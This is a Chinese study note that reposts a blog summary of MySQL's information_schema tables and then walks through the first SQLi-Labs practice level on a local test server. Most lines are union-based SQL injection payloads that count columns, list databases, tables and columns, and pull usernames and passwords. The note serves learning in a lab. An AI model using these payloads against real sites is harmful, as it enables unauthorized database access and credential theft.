03 最大的数据库 information_schema介绍以及sql注入第一题题解

整理人:木头

第一次整理日期:2019.04.05

最后整理日期:2019.05.27

首先 插入个博客(csdn)

https://blog.csdn.net/slip_666/article/details/79039742

//里面有具体的information_schema数据库的结构描述以及如何sql注入的简单总结

 直接copy过来 方便查看 //注明了出处 不算侵权吧      Ok,copy如下

-----------------------------------------------------------------

1.MySQL相关:

在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息

information_schema.columns包含所有表的字段

字段

table_schema 数据库名

table_name 表名

column_name 列名

information_schema.tables包含所有库的表名

字段

table_schema 数据库名

table_name 表名

 

information_schema.schemata包含所有数据库的名

字段

schema_name 数据库名

 

2.有回显的SQL注入:

 

执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入

查询语句

$id=$_GET['id'];

SELECT * FROM test WHERE id='$id' LIMIT 0,1;

 

判断字段数

?id=1' ORDER BY 3--+

判断显示位

?id=-1' UNION SELECT 1,2,3--+

利用函数获得信息

?id=-1 UNION SELECT 1,(version()),3--+

爆库

 

?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库

 

?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录

 

爆表

 

?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+

 

爆字段

 

?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+

 

爆数据

 

?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+

---------------------

作者:斯利普

来源:CSDN

原文:https://blog.csdn.net/slip_666/article/details/79039742

版权声明:本文为博主原创文章,转载请附上博文链接!

 

 ------------------------------------------

 然后sql注入第一题题解

1.在url后加入 ?id=1

 

然后 加一个  '

提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1

 报错了,即存在sql注入

 如何把多的单引号去掉呢

 尝试 'or 1=1--+

此时sql语句就成了select ******where id='1'or 1=1--+'limit 0,1

 从源代码中狗造成的sql语句为SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1

 结果显示正常

2.利用order by //order by对前面的数据进行排序 (这里有三列数据,超过3即会报错)

 

//?id=1'order by 4--+ 报错

 

//即证明有三个字段

 

3.然后 union联合注入

 

//?id=-1'union select 1,2,3 --+

 

//介绍下此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union

 

可以从下面的例子中可以看出,强调一点:

 union 前后的两个 sql 语句的选择列数要相同才可以。

Union all 与 union 的区别是增加了去重的功能。

 

我们这里根据上述 background 的知识,进行information_schema 知识的应用。

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,

当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

此处前台页面返回了我们构造的 union 的数据。

 

4.爆数据库

 

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

 此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

 

 

 

 

5.爆security数据表

? id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

 

6.爆users表的列

? id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

 此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1

 

 

7.爆数据

?id=-1'union select 1,username,password from users where id=2--+

 此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1s

 

原文地址:https://www.cnblogs.com/mutou123/p/10928643.html